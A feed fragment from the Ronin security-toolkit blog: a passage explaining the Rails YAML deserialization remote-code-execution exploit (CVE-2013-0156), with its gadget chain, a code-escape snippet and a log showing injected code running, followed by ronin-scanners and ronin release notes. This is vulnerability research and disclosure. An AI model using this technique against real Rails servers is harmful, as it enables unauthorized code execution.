&lt;p&gt;&lt;a href=&quot;https://gist.github.com/4499206&quot;&gt;rails_rce.rb&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; The RCE PoC has been updated to support Rails 3.x and 2.x.
Also, &lt;a href=&quot;https://gist.github.com/4499206/#comment-718470&quot;&gt;@eric1234&lt;/a&gt; discovered
that RCE PoC will not work against Ruby 1.9.2 below, due to Psych &amp;lt;= 1.0.0
not allowing arbitrary classes with &lt;code&gt;!ruby/hash&lt;/code&gt;. However, there
may be other YAML encoding tricks that could trigger the vulnerability.&lt;/p&gt;

&lt;p&gt;As discussed in this &lt;a href=&quot;http://www.insinuator.net/2013/01/rails-yaml/&quot;&gt;Insinuator&lt;/a&gt; blog post, it may be possible to override an
instance variable that is later passed to &lt;code&gt;instance_eval&lt;/code&gt;, &lt;code&gt;class_eval&lt;/code&gt;,
&lt;code&gt;module_eval&lt;/code&gt; or &lt;code&gt;send&lt;/code&gt;. One such example is using &lt;a href=&quot;http://rubydoc.info/stdlib/erb/ERB&quot;&gt;ERB&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;yaml&quot;&gt;&lt;span class=&quot;nn&quot;&gt;---&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;!ruby&lt;/span&gt;&lt;span class=&quot;l-Scalar-Plain&quot;&gt;/object:ERB&lt;/span&gt;
&lt;span class=&quot;l-Scalar-Plain&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;p-Indicator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;l-Scalar-Plain&quot;&gt;_erbout = puts &amp;#39;lol&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;However, this relies on Rails calling &lt;code&gt;#run&lt;/code&gt; or &lt;code&gt;#result&lt;/code&gt;. This turns out to be
rather difficult, since ActiveRecord/Arel will only allow certain types of
objects be passed to &lt;code&gt;find_by_*&lt;/code&gt; methods.&lt;/p&gt;

&lt;p&gt;Since, we know &lt;a href=&quot;https://github.com/tenderlove/psych/blob/v3.2.10/lib/psych/visitors/to_ruby.rb&quot;&gt;Psych&lt;/a&gt; will call &lt;code&gt;#initialize&lt;/code&gt; when parsing &lt;code&gt;!ruby/hash:MyClass&lt;/code&gt;
we just need to find a Hash like class. Luckily an anonymous contributor
discovered such a class and told the Metasploit developers, which got published
on the &lt;a href=&quot;https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156&quot;&gt;Rapid7 Community&lt;/a&gt; blog. The blog post then circulated Twitter and
a friend pointed me to the class.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; After publishing the PoCs, &lt;a href=&quot;https://github.com/lian&quot;&gt;lian&lt;/a&gt; contacted me and
identified himself as the anonymous contributor who told HD Moore about the
class. I then convinced him to take credit for his work on this vulnerability.
Thanks to &lt;a href=&quot;https://github.com/lian&quot;&gt;lian&lt;/a&gt;'s solution, I was able to finish writing the exploit.
In my opinion, if you give a famous Security Research your own research,
you should publish it yourself to receive proper recognition and inform
us not-so-famous Security researchers. ;)&lt;/p&gt;

&lt;p&gt;The class in question is &lt;a href=&quot;https://github.com/rails/rails/blob/v3.2.10/actionpack/lib/action_dispatch/routing/route_set.rb#L96&quot;&gt;ActionDispatch::Routing::RouteSet::NamedRouteCollection&lt;/a&gt;.
The class initializes variables in &lt;code&gt;#initialize&lt;/code&gt; and aliases &lt;code&gt;#[]=&lt;/code&gt; to the
&lt;code&gt;add&lt;/code&gt; method. The &lt;code&gt;add&lt;/code&gt; method then leads to &lt;code&gt;define_named_route_methods&lt;/code&gt;,
which leads to &lt;code&gt;define_named_route_methods&lt;/code&gt;, then to &lt;code&gt;define_url_helper&lt;/code&gt;
and finally &lt;code&gt;module_eval&lt;/code&gt;. We are in business.&lt;/p&gt;

&lt;p&gt;Now to figure out how to escape our Ruby code, such that &lt;code&gt;def #{name}&lt;/code&gt; is
ignored. Luckily, Ruby provides a special keyword (&lt;code&gt;__END__&lt;/code&gt;) which causes the
remainder of Ruby code to be treated as inline data.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;puts &amp;#39;lol&amp;#39;&amp;quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;escaped_code&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;foo; &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;__END__&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Now we need a convincing &lt;code&gt;route&lt;/code&gt; Object for &lt;a href=&quot;https://github.com/rails/rails/blob/v3.2.10/actionpack/lib/action_dispatch/routing/route_set.rb#L187-L203&quot;&gt;define_url_helper&lt;/a&gt;. Inspecting
the method, our &lt;code&gt;route&lt;/code&gt; must respond to &lt;code&gt;defaults&lt;/code&gt;, &lt;code&gt;requirements&lt;/code&gt;,
&lt;code&gt;required_parts&lt;/code&gt;, &lt;code&gt;segment_keys&lt;/code&gt;. Luckily, all of these methods appear
to be reader methods, so we can mock up a &lt;code&gt;route&lt;/code&gt; using an &lt;a href=&quot;http://rubydoc.info/stdlib/ostruct/OpenStruct&quot;&gt;OpenStruct&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;After some massaging of the YAML, victory! In fact, our method worked
so well that no exceptions were raised and our code is evaluated for each
url helper that is defined (four times):&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;lol
lol
lol
lol

Started POST &quot;/secrets/search&quot; for 127.0.0.1 at 2013-01-09 19:35:48 -0800
Processing by SecretsController#search as */*
  Parameters: {&quot;secret&quot;=&amp;gt;#&amp;lt;ActionDispatch::Routing::RouteSet::NamedRouteCollection:0x007f5474264218 @routes={:&quot;foo; puts 'lol'\n__END__\n&quot;=&amp;gt;#&amp;lt;OpenStruct defaults={:action=&amp;gt;&quot;create&quot;, :controller=&amp;gt;&quot;foos&quot;}, required_parts=[], requirements={:action=&amp;gt;&quot;create&quot;, :controller=&amp;gt;&quot;foos&quot;}, segment_keys=[:format]&amp;gt;}, @helpers=[:&quot;hash_for_foo; puts 'lol'\n__END__\n_url&quot;, :&quot;foo; puts 'lol'\n__END__\n_url&quot;, :&quot;hash_for_foo; puts 'lol'\n__END__\n_path&quot;, :&quot;foo; puts 'lol'\n__END__\n_path&quot;], @module=#&amp;lt;Module:0x007f54742641a0&amp;gt;&amp;gt;}
WARNING: Can't verify CSRF token authenticity
Completed 500 Internal Server Error in 1ms
&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  
  <entry>
    <title>ronin-scanners 1.0.0.pre1 released!</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2012/10/08/ronin-scanners-1-0-0-pre1-released.html" />
    <updated>Mon Oct 08 00:00:00 -0700 2012</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2012/10/08/ronin-scanners-1-0-0-pre1-released.html</id>
    <content type="html">&lt;p&gt;After much stressing over API design and refactoring &lt;a href=&quot;https://github.com/ronin-ruby/ronin-scanners#readme&quot;&gt;ronin-scanners&lt;/a&gt; 1.0.0.pre1
has been released. &lt;a href=&quot;https://rubygems.org/gems/ronin-scanners/versions/1.0.0.pre1&quot;&gt;1.0.0.pre1&lt;/a&gt; is a complete rewrite of ronin-scanners
when compared to &lt;a href=&quot;https://rubygems.org/gems/ronin-scanners/versions/0.1.4&quot;&gt;0.1.4&lt;/a&gt;; released back in 2009. The new API for
&lt;a href=&quot;https://github.com/ronin-ruby/ronin-scanners#readme&quot;&gt;ronin-scanners&lt;/a&gt; now allows for developers to write Scanners in Ruby and have
their results automatically imported into the Ronin Database! This new API
opens the door for quickly pulling data off the internet and into Ronin.&lt;/p&gt;

&lt;h2&gt;Install&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/ronin-ruby/ronin-scanners#readme&quot;&gt;ronin-scanners&lt;/a&gt; 1.0.0.pre1 can be installed from &lt;a href=&quot;https://rubygems.org/gems/ronin-scanners/versions/1.0.0.pre1&quot;&gt;rubygems.org&lt;/a&gt;
like so:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ gem install ronin-scanners --pre
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;API&lt;/h2&gt;

&lt;p&gt;All Ronin Scanners inherit from the &lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/Scanner.html&quot;&gt;Ronin::Scanners::Scanner&lt;/a&gt; base class.&lt;/p&gt;

&lt;p&gt;For a Scanner to be a functioning scanner, it must define a &lt;code&gt;scan&lt;/code&gt; method.
The &lt;code&gt;scan&lt;/code&gt; method performs the actual &quot;scanning&quot; and yields each result.
A result from a Scanner can be any kind of Object;
whatever makes the most sense for a particular Scanner.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;scan&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;sitemap&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Nokogiri&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:XML&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http_get_body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;SITEMAP_PATH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;sitemap&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;/urlset/url/loc/.&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;yield&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3&gt;Parameters&lt;/h3&gt;

&lt;p&gt;Since the &lt;code&gt;scan&lt;/code&gt; method takes no arguments, Scanners are configured by the
parameters they define.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;c1&quot;&gt;# The URL to start spidering at.&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;parameter&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:start_at&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:description&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;The URI to start scanning at&amp;#39;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# The hosts to spider.&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;parameter&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:hosts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:default&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                  &lt;span class=&quot;ss&quot;&gt;:description&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;The hosts to scan&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3&gt;Results&lt;/h3&gt;

&lt;p&gt;Many Scanners will likely invoke third-party scanners, and the returned
results may not always be so consistent. For this, one can define a
&lt;code&gt;normalize_result&lt;/code&gt; method:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;normalize_result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;unless&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kind_of?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;URI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:Generic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;begin&lt;/span&gt;
      &lt;span class=&quot;no&quot;&gt;URI&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;rescue&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;URI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:InvalidURIError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;URI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:InvalidComponentError&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;If &lt;code&gt;normalize_result&lt;/code&gt; returns &lt;code&gt;nil&lt;/code&gt;, the result is considered invalid and
ignored.&lt;/p&gt;

&lt;h3&gt;Resources&lt;/h3&gt;

&lt;p&gt;In order for a Scanner to import results into the Database, it must define
a &lt;code&gt;new_resource&lt;/code&gt; method. The &lt;code&gt;new_resource&lt;/code&gt; method takes a Scanner result and
converts it into a Database Resource, which can later be saved into
the Database.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;new_resource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;no&quot;&gt;IPAddress&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;first_or_new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:address&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Depending on which Scanner base-class one inherits from
(ex: &lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/URLScanner.html&quot;&gt;URLScanner&lt;/a&gt;), a &lt;code&gt;new_resource&lt;/code&gt; method
may already be defined.&lt;/p&gt;

&lt;h3&gt;Methods&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/Scanner.html&quot;&gt;Scanner&lt;/a&gt; base class defines three methods
for enumerating over Scanner results:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/Scanner.html#each-instance_method&quot;&gt;each&lt;/a&gt; - The primary enumerator method, which simply calls &lt;code&gt;scan&lt;/code&gt; and yields
the Scanner results.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/Scanner.html#each_resource-instance_method&quot;&gt;each_resource&lt;/a&gt; - Simply calls &lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/Scanner.html#each-instance_method&quot;&gt;each&lt;/a&gt; and converts each Scanner result
into a Database Resource object via the &lt;code&gt;new_resource&lt;/code&gt; method.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/Scanner.html#import-instance_method&quot;&gt;import&lt;/a&gt; - Simply calls &lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/Scanner.html#each_resource-instance_method&quot;&gt;each_resource&lt;/a&gt;, saves each new Database
Resource returned by &lt;code&gt;new_resource&lt;/code&gt; and yields the successfully saved
Resources.&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;For convenience sake, &lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/URLScanner.html&quot;&gt;Scanner&lt;/a&gt; also define
class-methods for &lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/Scanner.html#each-class_method&quot;&gt;each&lt;/a&gt;,
&lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/Scanner.html#scan-class_method&quot;&gt;scan&lt;/a&gt; and
&lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/Scanner.html#import-class_method&quot;&gt;import&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:Scanners&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Spider&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:hosts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;www.example.com&amp;#39;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;Scanned &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;Classes&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/ronin-ruby/ronin-scanners#readme&quot;&gt;ronin-scanners&lt;/a&gt; provides various Scanner base-classes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/IPScanner.html&quot;&gt;Ronin::Scanners::IPScanner&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/HostNameScanner.html&quot;&gt;Ronin::Scanners::HostNameScanner&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/TCPPortScanner.html&quot;&gt;Ronin::Scanners::TCPPortScanner&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/UDPPortScanner.html&quot;&gt;Ronin::Scanners::UDPPortScanner&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/URLScanner.html&quot;&gt;Ronin::Scanners::URLScanner&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;&lt;a href=&quot;https://github.com/ronin-ruby/ronin-scanners#readme&quot;&gt;ronin-scanners&lt;/a&gt; also provides several built-in Scanners:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/Dork.html&quot;&gt;Ronin::Scanners::Dork&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/ResolvScanner.html&quot;&gt;Ronin::Scanners::ResolvScanner&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/ReverseLookupScanner.html&quot;&gt;Ronin::Scanners::ReverseLookupScanner&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/SiteMap.html&quot;&gt;Ronin::Scanners::SiteMap&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/Spider.html&quot;&gt;Ronin::Scanners::Spider&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/Nmap.html&quot;&gt;Ronin::Scanners::Nmap&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/docs/ronin-scanners/Ronin/Scanners/Proxies.html&quot;&gt;Ronin::Scanners::Proxies&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;Commands&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/ronin-ruby/ronin-scanners#readme&quot;&gt;ronin-scanners&lt;/a&gt; provides several commands for the built-in Scanners:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$ ronin scanners&lt;/code&gt; - Starts the Ronin Console with ronin-scanners loaded.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$ ronin scanner&lt;/code&gt; - Loads a Scanner from a file or from the Database
and runs it.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$ ronin scan:dork&lt;/code&gt; - Performs Google Dorks.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$ ronin scan:nmap&lt;/code&gt; - Automates nmap scans and imports them into the Database.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$ ronin scan:proxies&lt;/code&gt; - Scans for proxies and imports them into the Database.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$ ronin scan:spider&lt;/code&gt; - Spiders a website and saves URLs into the Database.&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;How to Help&lt;/h2&gt;

&lt;p&gt;Since this is a pre-release &lt;em&gt;and&lt;/em&gt; a complete rewrite of &lt;a href=&quot;https://github.com/ronin-ruby/ronin-scanners#readme&quot;&gt;ronin-scanners&lt;/a&gt;,
your help is greatly needed! Here's how you can help out:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Install it (&lt;code&gt;$ gem install ronin-scanners --pre&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Test the commands&lt;/li&gt;
&lt;li&gt;Review the &lt;a href=&quot;/docs/ronin-scanners/frames&quot;&gt;documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Attempt to write a &lt;a href=&quot;https://gist.github.com/3803087&quot;&gt;script&lt;/a&gt;
which uses one of the Scanners&lt;/li&gt;
&lt;li&gt;Submit bugs or suggestions on &lt;a href=&quot;https://github.com/ronin-ruby/ronin-scanners/issues?direction=desc&amp;amp;sort=created&amp;amp;state=open&quot;&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;Let's make &lt;a href=&quot;https://github.com/ronin-ruby/ronin-scanners#readme&quot;&gt;ronin-scanners&lt;/a&gt; 1.0.0 a solid release!&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>ronin-support 0.5.0, ronin 1.5.0 and ronin-gen 1.2.0 released!</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2012/06/16/ronin-1.5.0-released.html" />
    <updated>Sat Jun 16 00:00:00 -0700 2012</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2012/06/16/ronin-1.5.0-released.html</id>
    <content type="html">&lt;p&gt;&lt;a href=&quot;/docs/ronin-support/file.ChangeLog.html&quot;&gt;ronin-support 0.5.0&lt;/a&gt;, &lt;a href=&quot;/docs/ronin/file.ChangeLog.html&quot;&gt;ronin 1.5.0&lt;/a&gt; and &lt;a href=&quot;/docs/ronin-gen/file.ChangeLog.html&quot;&gt;ronin-gen 1.2.0&lt;/a&gt;
have finally been released!&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ gem install ronin-support ronin ronin-gen
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;Checksums&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://rubygems.org/downloads/ronin-support-0.5.0.gem&quot;&gt;ronin-support-0.5.0.gem&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MD5:&lt;/strong&gt; &lt;code&gt;98594570d14c37101abdfdba32c6505f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SHA1:&lt;/strong&gt; &lt;code&gt;9c505fa3bdb5d38831acfb10ea2989f214db517d&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/downloads/ronin-ruby/ronin-support/ronin-support-0.5.0.gem.asc&quot;&gt;PGP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://rubygems.org/downloads/ronin-1.5.0.gem&quot;&gt;ronin-1.5.0.gem&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MD5:&lt;/strong&gt; &lt;code&gt;1bfa9fc2709cc98231abf6944780ab63&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SHA1:&lt;/strong&gt; &lt;code&gt;320659d87280d0a99075481ae7a05aa8bad4fff9&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/downloads/ronin-ruby/ronin/ronin-1.5.0.gem.asc&quot;&gt;PGP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://rubygems.org/downloads/ronin-gen-1.2.0.gem&quot;&gt;ronin-gen-1.2.0.gem&lt;/a&gt;

